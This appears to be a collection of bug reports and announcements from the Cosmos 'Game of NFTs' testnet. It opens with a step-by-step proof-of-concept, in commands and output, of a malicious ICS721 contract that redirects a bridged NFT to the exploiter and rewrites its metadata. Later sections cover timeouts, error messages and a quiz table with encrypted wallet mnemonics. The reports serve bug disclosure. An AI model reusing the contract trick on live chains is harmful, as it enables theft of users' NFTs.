# instantiated exploited ICS721 contract (ICS721 contract: stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl)
starsd tx wasm instantiate 1674 '{"cw721_base_code_id":1635}' --label exploit --gas auto --gas-adjustment 1.3 -b block --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc --yes --admin stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc
# create IBC channel (IRISnet: channel-38, Stargaze: channel-229)
hermes --config relayer/config.toml create channel --new-client-connection --channel-version ics721-1 --yes --a-chain elgafar-1 --b-chain gon-irishub-1 --a-port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl --b-port nft-transfer
# mint NFT: arkNFT003, owner: iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
clear;./mint.sh --chain iris --collection-id arkprotocol001 --token-id arkNFT003 --uri "https://my-og-collection.io" --name "This is the OG collection" --data '{"twitter": "arkprotocol", "discord_invite": "https://discord.gg/fVv6Mf9Wr8", "team_name": "Ark Protocol", "description": "This one gets exploited"}' --data '{"og": "collection"}'
# query minted NFT
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
"id": "arkNFT003",
"name": "This is the OG collection",
"uri": "https://my-og-collection.io",
"data": "{\"og\": \"collection\"}",
"owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
"uri_hash": ""
}
# transfer to exploited channel, with receiver: stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf
iris tx nft-transfer transfer nft-transfer channel-38 stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf arkprotocol001 arkNFT003 --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris -b sync --yes --output json
# relay to Stargaze
hermes --config relayer/config.toml clear packets --chain gon-irishub-1 --channel channel-38 --port nft-transfer
# retrieve cw721 contract (stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869)
starsd query wasm contract-state smart stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl '{"nft_contract":{"class_id":"wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl/channel-229/arkprotocol001"}}'
# query shows nft got receive not by above recipient, but by wallet given by exploited ICS721 contract
starsd query wasm contract-state smart stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{"all_nft_info":{"token_id": "arkNFT003"}}' --output json | jq
{
"data": {
"access": {
"owner": "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc",
"approvals": []
},
...
# exploiter, new owner transfers back to IRISnet to any wallet
starsd tx wasm execute stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{
"send_nft": {
"contract": "stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl",
"token_id": "arkNFT003",
"msg": "eyAicmVjZWl2ZXIiOiAiaWFhMTgzZTdjY3dzbm5najJxOGxmeG5tZWt1bnNwbmZ4czZxeGQ0djNmIiwgImNoYW5uZWxfaWQiOiAiY2hhbm5lbC0yMjkiLCAidGltZW91dCI6IHsgImJsb2NrIjogeyAicmV2aXNpb24iOiA2LCAiaGVpZ2h0IjogMzk5OTk5OSB9IH0gfQo="}}' --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc --gas-prices 0.01ustars --gas auto --gas-adjustment 1.3 -b sync --yes --output json
# relayer does the actual transportation to IRISnet:
hermes --config relayer/config.toml clear packets --chain elgafar-1 --channel channel-229 --port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl
# query on OG collection on IRISnet shows token data has changed
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
"id": "arkNFT003",
"name": "",
"uri": "https://my-og-collection.io",
"data": "\"{\\\"exploit\\\": \\\"gotcha\\\"}\"",
"owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
"uri_hash": ""
}
TC Network provides Explorer/Dashboard for the Game of NFT which allows users:
URL of Explorer: Game of NFT Explorer
During the evidence verification process, format inconsistencies were encountered in evidence files submitted by some participants. The following issues were identified:
wasm
prefix to the classId for wasm. However, the prefix is not required as wasm.addr
represents an ics-721 port. This can be handled by removing the prefix.๐ Will make the error reason more clear the next Monday (around 2023-03-13:14:00 UTC+8). Your points aren't lost as long as the task is completed.
Stage 2 is still ongoing. When submitting new evidence please ensure that your format is correct and fix your old evidence format.
We will revalidate your evidence from Stage 1 during the Stage 2 validation process and update your score based on your evidence.
This issue happened during the Task A19 (s --(1)-->i).
# Json
{
"receiver": "iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5",
"channel_id": "channel-207",
"timeout": {
"block": {
"revision": 1,
"height": 346000
}
}
}
# Encoded
ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ==
starsd tx wasm execute \
stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
'{"send_nft": {"contract": "stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh", "token_id": "dsrvNFTtokenA19", "msg": "ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ=="}}' \
--from=dsrvlabs \
--gas-prices 1ustars \
--gas auto \
--gas-adjustment 1.3
IBC Transfer
Tx was successfully performed on Stargaze.Success Tx: https://gon.ping.pub/stargaze/tx/7AD6FFCB159DB07C917DEE6DA4F8402DB9CDE9DD9121103CBD3241994C3BC732
Relayer tried to relay NFT transfer packets to IRISnet.
During the relay sequence, the timeout_height
was reached and the corresponding Tx failed.
Failed Tx: https://gon.ping.pub/iris/tx/32A2E3AE1D0B00776BE364AD7F977885B5E1B1F375E9B6BE76CF99D8E22D147E
$ starsd query wasm contract-state smart \
stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
'{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}'
data:
access:
approvals: []
owner: stars1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579f7djy5
info:
extension: {}
token_uri: https://www.dsrvlabs.com
$ starsd query wasm contract-state smart \
stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
'{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}'
data:
access:
approvals: []
owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
info:
extension: {}
token_uri: https://www.dsrvlabs.com
failed to execute message; message index: 1: receive packet verification failed: block height >= packet timeout height (1-346000 >= 1-346000): packet timeout
From the NFT user's perspective, if the NFT transfer fails as a result whether it's because the Tx failed or the timeout height was reached, they will expect it to returned back.
if it locked on contract, user will think that they've lost of the NFT.
JS-Team provides NFT path visualization tools/ Explorer for the Game of NFT :
Query by TXID
Query by Address
Analyze NFT path by classID
URL of Explorer: http://www.nftland.org/
I have collection, but this token I transferred doesn't exist. Error returned: not token owner: unauthorized
$ iris tx nft-transfer transfer 'nft-transfer' 'channel-22' 'stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf' 'arkprotocol002' 'fooBar' --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris -b sync --yes --output json
{"height":"0","txhash":"8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0","codespace":"","code":0,"data":"","raw_log":"[]","logs":[],"info":"","gas_wanted":"0","gas_used":"0","tx":null,"timestamp":"","events":[]}
$ iris query tx 8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0 --output json | jq
{
"height": "370014",
"txhash": "8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0",
"codespace": "sdk",
"code": 4,
"data": "",
"raw_log": "failed to execute message; message index: 0: not token owner: unauthorized",
A better error message like token fooBar does not exist!
Doing a query on all denoms. Output contains redundant denom entries
$ omniflixhubd version
0.9.0-gon-test2
$ omniflixhubd query onft denoms --output text --page 0|grep "id:" > denoms.json
$ omniflixhubd query onft denoms --output text --page 1|grep "id:" >> denoms.json
$ omniflixhubd query onft denoms --output text --page 2|grep "id:" >> denoms.json
Now in file there these redundant denoms:
A list of unique denoms, instead it outputs redundant denoms
The scope of bugs are not 100% clear, so not sure if this qualifies as a bug in the program or not. If not I will file it with Omniflix directly.
When using the following command with the OmniFlix cli, there is some validation of the "ID" that is not taking IBC-denoms into account:
$ omniflixhubd q onft denom ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743
Error: invalid denom ID ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743, only accepts alphanumeric characters, and begin with an english letter: invalid denom
Interestingly enough, it works fine if you query using collection
instead of denom
.
q nft-transfer class-hash
)ibc/<CLASS_HASH>
Another approach you can take is to query for all denoms, find any that has the ibc/<CLASS_HASH> format and try to query for that one directly (which will also fail).
It should see the format as valid and query for the IBC-transferred NFT.
ClassID gonQuiz
NFTID | Recipient | Data |
---|---|---|
quiz001 | iaa12ju0lu2gc75a6jdzrhgth0tn76c9cnnwtnslq6 | {"question":"How many official incentivized testnet events did Cosmos held before the Game of NFTs?","mnemonics_encrypted":"iJ2L8TzccjgMDiaXDhgPqEV2c_LcguHkaphwfx7mR-yAoelAf-AXI-zX575JAjohu_jkfdX86Q15HdLazVareJfQ4w0-zN4h42OiBdeeCEYRJEttmxsaU7ppzsdNPm1hNaa8CGufyk45gPJYWBFTIToLcK6V1ghuh4cymbc5BvUeipogNpQ6fK0mDrAqrR7evrhMCLNDvDoOlkDMJcVV6ZlIVi5dU4s5A5QQNPUP","flow":"f04"} |
quiz002 | iaa1z7q4z798r3l7ms2wvpvqranyd8u0u8rqhrz6tt | {"question":"How many rounds does the Game of NFTs phase 1 have in total?","mnemonics_encrypted":"TJ5dyseXmb4HYXXcCUpWxVaUngByc5S-iyIVfINZ5t6Sl4J5JgxVxCAqRpzV7VsdmjeoYZpukLWQrG_qKccTMmSFOEpQ311IDmPwbd24cvyhqlHXKKu90OiPOAOInYcSHofzbRlFlBU7sSWeA2XlcGz5t1Nk8CUhz4pnCVQ7DCqjd2qErCpganvjqrjcZyoYyWNrx8XlCOcsp-E3cpD6QdMK2dikIh3Ahvw=","flow":"f04"} |
quiz003 | iaa1ckw6tvpev4slmhwsjpadccppxljvc70ry0kl4d | {"question":"How many stages does the Game of NFTs phase 1 have in total?","mnemonics_encrypted":"CEShaUvEZG68KzeCrSCW_Gd2yBF3S1VTnkcZ4Kc7fyjEFCOQ6MSzroFoVCdud4kjOLmiFSnSJZ8uqu9wrkYrU6VYLRedJi-4lPWBF2gBKIdI_lKmGiXegM_2DJ6MnpBQG9kPCd-0GU0mhZ8QCYZ2ySwwSPYjj_dnXoEeGUd9OmrmnJGM1ofjfy1BSWOU3oiWQ65s2hbqHmQtNoOa53awBrT1opQ9sWUn5HY=","flow":"f04"} |
quiz004 | iaa1ervh6t9mg73ddfzngcecgjvu983g2j7tj0exmz | {"question":"How many chains are in the Game of NFTs phase 1 incentivized testing?","mnemonics_encrypted":"vU7S5MipfGP67mbn9byzRhCU-FJkzjb0PekvbvZCGkl1BaVkjeH__7P1C20zKPMcv3xMgFYUg8yanxFTGQRD7EG-7hP2laB7dSAYVYrWjZ152oJS1G7_QwTWyAsj9Ye1OyLgEvma69Rb7B9aYhgE_eh9xaafpHKqAMfAUeOVvDtUOCV_sZ6V7G8rUx0t3LZdDifvxQhSwHQpBied5p0aUaJauO88hiCQWCE=","flow":"f04"} |
quiz005 | iaa1fmqg37vws6qhla3y03g9vs2dswchrgt9zpd54y | {"question":"How many task flows are in the GoN event?","mnemonics_encrypted":"KEN-PD5Wonw8ldbZ22taCyu7neNN4THhUq8k-4zagqaUh8xcVZj1ICNhTNXmz_XJ7v-i7Q-bPhBRbcj9e-wfBVT5azlRRzIqWQuOs67Pdd4YewkugfQwESqF-C_Iiq_ImH4sNJRULqWQHz6LdOrGWDNyDOdgVYsYaOcJHsMIthxpFPCzExvQ7R43CP-q8ZfWi2TBYj0uQlhbI4BR3TQir_V2IjsStfHXl0C1wKFc","flow":"f04"} |
quiz006 | iaa1df3lk4u6sr78658dafhm9ttyqgwu7np2kyzlgj | {"question":"How many official channel \u0026 port pairs are in the GoN event?","mnemonics_encrypted":"g18kagRONTeJFx_O95r3qAgcF9DT0tzfy7opgfuITKsmmmOQj_xvKcwpQt6JkuwXnfxgUvbOj0cIos3M5iSFFh3gUN7s5ly_hIEDCthXpuu3EbtybNue33cNw7a9zhb56bSPYl4ScvtxIPCX--gzuQd1yMDeh7os6uPjUf0hPervWr2AK0Mb4mAQz-LRXKjklD-7oEOR_nI60Qno0temk1dOXghQAN4=","flow":"f04"} |
quiz007 | iaa1ku0rpv8hjv462hq4x2dpypsenwg08jfh3uxm77 | {"question":"What's the chain id of IRISnet in GoN testnests?","mnemonics_encrypted":"UR306yZofYQGiCtGdfnwdxYhOLTD9C7H2It1qA7DUwh57Ijg5BWt2szFb-twoEsdkghqwMZO88w6MNdxQzeGPrPfmz6hpa5wlxasvFafkN2j3JfdEA_zHIVkMORP1v_ALeiP9W-ymYj6M5FcubW8JIO4EZrXNRaCvm8sTbCI_FWIm9zkl4qWQib4pPjmhbO4TT7unkgV1ZlcblPDy4PTkQyUeWKOKp9iKkE=","flow":"f04"} |
quiz008 | iaa196xcfh9gk96e9e9l3hkc2zpgmemg7cx7qp2f2w | {"question":"What's the chain id of Juno in GoN testnests?","mnemonics_encrypted":"ZLAOLdxywOZB-U6_LlHhFnLh-1cwYT250CCSs-n6bqdkkN96sIFvCYWCjKE6uqKZ4YLam63lDbGIcU2sHZ62L2ezmwVHXlJJg19BECJRTIwsJFsvRTjIUILNj340uTcLFz47uBZepg6vacoKh4WxGtSVP0HBHgu-pskgHr88nw9q3tmjfg-UbeiFXR-kL13Xhn8SFryaEAo8yMiULwvhbWo=","flow":"f04"} |
quiz009 | iaa1fq3q6sk0qerwpgey4mthlg9nmv0f784nwfm9hd | {"question":"What's the chain id of Stargaze in GoN testnests?","mnemonics_encrypted":"V9-9WUC-Chn-RnfCPDQ0d5lRArAVpJ2aFOmCBusPOdalGEFDSf6luD0M0Tk-kgfwwrkUBC2HUR4AEoYCqsuiDY4-VPPwpIetH0r0YQpzf3Ga7xD1_1XOgpe64bnADMIuy3W1QGWkn64tnIuYY8C7kn15ujujlHKlN0Kn5r-Z9ZEL54IC-nAbM2rmaBsiNpB7Fd5_0qYRX_nRY8uJmepsMx4ODnHDqGjG5uGTUDLanew=","flow":"f04"} |
quiz010 | iaa1n5apjsaf8h9nrjqmr3n9e3vqaaegupjaqczywc | {"question":"What's the chain id of Omniflix in GoN testnests?","mnemonics_encrypted":"2aUoYR11fTaWToKZSnZbIQBXgc6esAfmoXba-NavG_90AGE96uP0VHC6lTseOQpzlyN9XqLp1LJ9b7dYx00_Wj7ZZZNDYs0RIBcrQkGcocbsotWp_dYKJ_nz8_9UzE1vVTH651d9RUzvLf_FT17HwltnTdjayTdQY8-TZAYqiBT88oRn7-Qg_XD-kxOrtSqfd_tEBwG_pnob01bLKQ==","flow":"f04"} |
quiz011 | iaa1qzx6yfjypta4xg396d8fepmvcydjpm7zj4ddaw | {"question":"How many ATOMs does the Game of NFTs phase 1 provide in prizes?","mnemonics_encrypted":"xpM5PL66SGtCSFOIqm1BrV5LLiz1Fnh3cCEHuWdrPPhiW76kGVbhw3tdNsIr_j25OvdyajzQqM1Jea6eQ2f45wuTERX1JrV0rnuyVrEvKnTNxPksziUkIKCx03pqLpnbH33hVn6j6rfuq9cdB3FOIGf4ylQOHXKiy4RiBf-Mc_bmysgQ5-oz1a0s1QAtwT_0e4SbHl33EaHi-ILujyUqcubTx8YV","flow":"f04"} |
quiz012 | iaa1wqdgfxajyqrjts3hj46pglnxmqckcyv8xy8y46 | {"question":"What is the proportion of the Game of NFTs phase 1 prize pool that will be used to reward the Contribution Awards winners?","mnemonics_encrypted":"6jj81t0SWi-F50uTbWAGQ1_Vo4ehqfitdInv0xle82gJcGx0ltTHwIwC6djof_5JjHeWi5u0eqg-5iCQ7F8Mf2nhjiGb6MWP37s3uRqB3LiIIyHqn7-frQIz0_AEXA5-iY4DfpB2Tpy83j0wgjIkZhq7zCvJGaRRFtu0RT-bx1kvIxN1Nqd8hg-wn6LnrV0Ql5QvE6hX7jx17ta4Ib1jrQbRRIKkJNzW_rcqwsHkgQ==","flow":"f04"} |
quiz013 | iaa152jkrky667k4wf7u438kc8yw68lrn64fp2s3cd | {"question":"What is the proportion of the Game of NFTs phase 1 prize pool that will be used to reward the Task Completion Awards winners?","mnemonics_encrypted":"zyg59Y6O3LiSg7SEecqhQ5KmH-UT-2WHALSTAP2Gvni5vnHAa94NmkFS1AVgcWkcSz_6ltmI2jlYnm4tIzJqby2kUNYQdIK3C_jP-WhmONyE6kOMsrm_9-cc1SV8ynNUt1T9TSJP39b7b3876owAHzWpe2aZ8oaEkg-dc6iA_yH6u9QI8FcxPbv88UGDryq8zcBJRt1Iod10AvCTCcq4SOqCElE2","flow":"f04"} |
quiz014 | iaa17kcsmmxu9e05sjjf08tlupc300sj7jxusv02s9 | {"question":"What is the native token of OmniFlix?","mnemonics_encrypted":"rrstX6-jNJ5_JNNMnGBXSsCU9hMjr5N52ztbfKJ94BgVfL72nVntEOcrtavzAQ0uNgb4Jv57lAwlKU9TgNblotOyFUbRAonpXcwwCtdr1a4FbXjBhTp9lDkZFyP9nGZDYW-qeodRPY9dHlQ2L7wnTeP485U5vDjCX7hcVAwSDQtGb8kzRVQcHa4BlfQdfY4HzNBvYadFTNDDSy9_6-ciWSGjQ98cyD2kjA==","flow":"f04"} |
quiz015 | iaa15dgpdzknkqps4k2g4yh3mpgcp2rmtez3s8ejxn | {"question":"What is the native token of IRISnet?","mnemonics_encrypted":"K5m2WcWtLzlpoANYseINERdzhqjayFJN1YfEzwT3Peqj-_1q8kwz5wthSxqegUyxbkHVQumipvSB9OpJGKOeuRFK6QF6ZhFEImAAe-oLfyBqk-SnFzTCqZe4u5Mz_kLjQMxnCNmj5nZp_kUX6wkDksBThh23Kccwgndm3DYo2QJ9RR1QKBnNp8fWiq_WbPx8jyKsGgRKYGUdFfSA9HCE14s=","flow":"f04"} |
quiz016 | iaa1fg3u2gzf63lat7ym7yxqj3ym4n3pan7ujgpl3a | {"question":"What is the native token of Stargaze?","mnemonics_encrypted":"sQy-pPbbdy00BSnN-lfbkG_P6LrkQC9f_983rBJE6tYPIdxR-n6ThRBRkLlydgV_sLl4PMyyJnxJPG5vDXqZVEoay05cPK6M_zwgGtq1kn9mPQ-oomllBpwbmmIsUGFECR4wpNI6KlGpGCaJKKz9wnYcrvOpuYu0xukk3WcQ6pVdHwFUQnzC_ZhQU8XYrfB602vpfOez8vy1F9mFyVjAcDZIoIk=","flow":"f04"} |
quiz017 | iaa12f0rgd6xz2k2pw3awe6n396p4m5ynqy5l8xpsa | {"question":"What is the native token of Juno?","mnemonics_encrypted":"jGXAFSi4kt1dyFDkq_nxLQ8eXDT0RkNFUuRhmZeeNbAX0AYcG4xT3M37FZ2Uk0DdcPSzo2cYDSqLzQTyB4fdtI0_rxKBybH6_vefLhQ9hmIV415MK_aRJ9ALxVwdilxg-38BrNpel7Zh_aKITlZPvevYDONQRfqc6LNKV0-u7hWVOufZs7i7By-pm_nUQtBXoTsrHoTgkWL48JM-Ggj355jZoeiOieYTrpID","flow":"f04"} |
quiz018 | iaa1xugtxe9w979wvz44w3uvrermn4q87exzc06h4d | {"question":"What's the abbreviation for the non-fungible token?","mnemonics_encrypted":"co-jocwYgOKOIxBDUZbFZ2z-ssPY6ZRCWxqY3lKQ4B2C30of7mJXkx0LqMQpCDN2VLYDh2xYunmO_UbZf5TeAkL0prCXdC_0uktlcvzs0glsovFb6-02ZWnvGmE3NqIZP8CgK8XzqnRO6p4Rw4MGMz0kJRubhs4X2-9Evu80HS2YnTOvXmv_ASf-GyvKugTm_RkYNJXhs8qCCUm5FpilfggrQfn_7WE=","flow":"f04"} |
quiz019 | iaa182vkngxqjzkweq22eyw64h0s374l9klsmkhs4w | {"question":"What's the operation to interchain transfer an nft on IRIS? (iris tx xxx)","mnemonics_encrypted":"G8sa8QGwgpoB9ynkFgL1EZnQcwadzDsTxG8wHKjQkWGNCZdl9HUzRX1B8K_l0PBUB1czzEsawKgXbo3xsmPJs944riiNnOx2Sn-6ShbF3qPcmoKoBl66cbWqPOKWZ4JHEuwOxbYqU9N3gvDZkW8VhFJPehpsVNQk44xK-cLur0e1_nE6rtK5C_Q770JOpMEmENrOYsEFzcotF4M35cXZ4w0ykw==","flow":"f04"} |
quiz020 | iaa1sp8sj7nyj8m68welvy8yrf0434efxc2wynyqpe | {"question":"What's the operation to create a class on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"G2eLL9PzYQvfWBBqHRyIeH-uJxIf03xiPvkPOfx5Gfv3kS5c6qD4WMIlXfD1pynLBDTfQIr-aRarMT1u2TJtbh6x6HYU8wcCxMCN7d8UNxodOYjbLMgQ1NfXiEwMRkFX8BBLscNYZgTQbXGsLyCq4AN6epj-LKhZSidBfBNTYHM1jvB2SIpJG-c-L7rYcygMRnvETY2kGM-4RsWLAE1iM7qkUCs=","flow":"f04"} |
quiz021 | iaa1f7d7jykqzy9c0h56t7dq7nafhquyfqzheldf2y | {"question":"What's the operation to generate a new nft on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"UYxIklbVcsGga29rZ8BvFG3c1SQ9KXJZEV8viMBeVDjDCxTV31NgFJ6m_zqh20IINaIxYBxBDksRvP4UfCOIU55GfMKD3NxsxSXT3MC-mB0SXRFqH2kmU-yfhK-S1j4_WEld73IazoNCWEYlDLkHo4coZ-JSt7aAojwB3MGxqB2Q991p6xpuTW7AFgtRxH6jPNjKXZtFSD4WUZql6v1_7l_gTYB3ggmbgk6TcNOS7qI=","flow":"f04"} |
quiz022 | iaa17ytd0zc27z69p5nrduuts9377qwg3ryj0wqg9q | {"question":"What's the operation to destroy an nft on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"pFtGvVHWvDwHHNJ9EqPoUwzFqwiUhWhUv9sDSvtev6o9xvaArR6KgSom49eANMPuwBkysqah0I7Vk6IAbOfBUfDxq9cFrpmrVXAlRHonuCjTqYPVbQWm_IfyIk2CpQfYxFaT8WpATriI3bED-JDygBMp4DLwO4tXFWT41_4OOky_lIejhgNnFebx6mX-NyCQVwUjdFy9I7ilej6mgbdAXOabMiDFnqeL","flow":"f04"} |
quiz023 | iaa13fxdwjqmpek75nch2hqes763qek8w0pu5l3hm0 | {"question":"What's the operation to give out the ownership of an NFT on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"TVql8wK4lHFqLNlKM6DZXAwVdJcYqhfEvZmjGDosOetEXdpeoRpFMwpNjkaH96Trfuk0kkbheF1zacnrhNGFTpf1TzrcnlHXlftVa5n38D314FLrRmXaPALk1yyekd1ixVbZ3ElyUxEgM1t2BGqowqzEcSiNCsAoPoU_mXHq4pak5Ca4xH0qvcS_K5SlOLVKhr4TRDAqbZpwWdBMLqpG1y6yZXC8qQ==","flow":"f04"} |
quiz024 | iaa14hd0kaeypy2c9jqrlvs3f3lfufd3yytsttu57c | {"question":"What's the operation to modify the NFT metadata in IRIS? (iris tx nft xxx)","mnemonics_encrypted":"_14NXPnwEIGdAvD-jEDKFrpDN47CgDVvdi9_C7ck0zA1JO7B4-rt_GjpkpOAxD5ucGRJ9eb5wS2Di1crQG1d0X2eDppVcKc0jFcSaVhwpa-WGlamXMnT9JMT61nj-gfqP5-eXJEEpP5NoDcrPxFLuSDxii4EeGPUAUJIpylywYu5lGokaZimMEfzzTWQPjbkXmAOHWoNnTCzvgG_aP1J_EghlxlITHc=","flow":"f04"} |
quiz025 | iaa16uxsa5r24dm4deguvddd7rslghw5cejg283qeu | {"question":"What's the field used for an NFT to store off-chain metadata?","mnemonics_encrypted":"SLskUnxY72pdvLQn3IxCFGdUCguHSFhp4WDjOepUVf_JIc6n6c_YB3Q-lejvgh_R4oAwNoAqc1s6YWxC5BJCOl8Rx_ke61jPfJ0LPG0M0QuAffeZEPBOl20EPjfYdLk9ABwwztR7AbO9Tc87csKUukhaG_23TO_vgC6nSm3mIrgR5oqDYv4cLNU4AS3ZjFgwjzN0omhmMlCwKlAXB6XBz2sHAQ==","flow":"f04"} |
quiz026 | iaa17v2xkeqazqd8jlkgewfr8qr99afg0trj3j7gq0 | {"question":"What's the standard for NFT Rights Management? (erc-xxx)","mnemonics_encrypted":"OV1yL09KI-nGJGLc5vUW7IpIp-6VDs1lRzeHMpooYy88JtbemSmbnbXq_50DtiCFLUlWdKDb8XQyzgjSVLGSkoHVuPLprXIXJ4ETBdBJZjr0DFo1WNzRzv4K_6yKR1lNIcOxniD40noy1apRMyk4YZ4DhvZhvL15fMe92JkL39nC6P6FseQLjEQywpFJe4tsiJQ-Stqyo6ZrBWJbRTxj0w==","flow":"f04"} |
quiz027 | iaa1e8z29dvuwul9t0x6pmg5r7w2n8ed80uzr9r46k | {"question":"What's the standard for NFT Hyperlink Extension? (erc-xxx)","mnemonics_encrypted":"RG-Et9dX8uPi1W8QCGyTGU9BTsnevFWBwJy5eThEyJ0lR2X1MECbAm8Z6zRhx3o0IgrvywjO48nMzmz8zsycsmz9OYiM9sDlycqM8r2MUJsigBI4YpObi2eLPuozalBxrrWxvnduuuVU025H-gjBqSRY3oFJwypZaW3i4ijWALcZzcsbleC8igK7LRkPQKKVdXkTQMdg5kBVLSPf0JFvJEpxuvhpfKxDMQp0gw==","flow":"f04"} |
quiz028 | iaa156e0mkmdk9lrla4pdyvslhgqq4xkldqe8sxafv | {"question":"What's the standard for NFT? (erc-xxx)","mnemonics_encrypted":"l1NaeB2GJd-MPGkebpMxndfCpIoxVNuRpdN0_foG-i1fhn5nhZwDm_RIJJNQPn1SatNWG4zpWCXs3qqJtE6YrzUlI8aq3orJ3UEIC5KCqWhYgc0LFhJaGl3xtlp9ym5JhM_yVA9AftY_gfbkFF5r6gCfSIHIjItFZezH6KrF8yUN_y1WwVZ3qEw2skRJsE_vD3t3O1fijQrRH6v_N-PkTn9QD9mAYQ==","flow":"f04"} |
quiz029 | iaa1wqnru0nm5ztqkvjswa94qrjpqsdrhy67e6penx | {"question":"What's the standard for Rentable NFT? (erc-xxx)","mnemonics_encrypted":"Mv8Lll4f2Z3P3xnD6_tbE96MP8fbzAlhqlB43IX53KAHdGiPXisPkFjL8F_iVrHLNZDLXcVMxAQIdjmgqxyYqwhncItqZg52wGP3KMUG5d-l549Wc7pFpxTbsQvbWNyG19MaIWCEjix1jAgn6SKj95fRuxIUjCmTQCDuUUZ80dAj3e14-wzWIWv1DYnb2R66rhw2ACBSV3URB2QJZYM9nAEdkLL25MQLefs=","flow":"f04"} |
quiz030 | iaa1scrjmtld6j4czac3nst0ezcr8t2xk33tncdma9 | {"question":"What's the standard for Royalty NFT? (erc-xxx)","mnemonics_encrypted":"kwc9RlH8QySojwZYgYWFinjLAJZXxoPbig_yl0WdOQs8p_ptNDyPdOajFnb_bA9VDUoX0dDUgesZb0t0J7IlFqPLSjd4teA-Qz9h7KCR-Ot1vjfrrDEP0NC50FkgDiEhtkIi_QUGNOvKl_YJWAKK_mI2Ve0bp-K5zkaSY_V27xKPoAq8FIyiqPoxQaoxIQ5-zYmG7Uc3NYfAp5GfzxMqShcjFwIcvHQwh50nY-PNu8LwY0gfnw==","flow":"f04"} |
quiz031 | iaa16zmmqjdwc64g9646djykkyndwfnx42lxuttkqk | {"question":"What's the standard for NFT Licensing Agreements ? (erc-xxx)","mnemonics_encrypted":"iHH9zejw-EP_HpoLKwvW5cB9-_CkX2kdcMFeMlB2qhBa25_viw7-UG1eZ6jEJUyG2MYh1rr1KYMeovf41t-1234jmuYCJTnIqkUJqXjIf_EcqNw23HnshjGuC0WSNkCqv9nLcjubXiT3ju2VtCJvOuc8H8ACiVwV0IIljnj1Un8UTnBVPAMLwBuj6Dya894Lny7Qfha-UHamsJJNhI7iPY1GsOhu","flow":"f04"} |
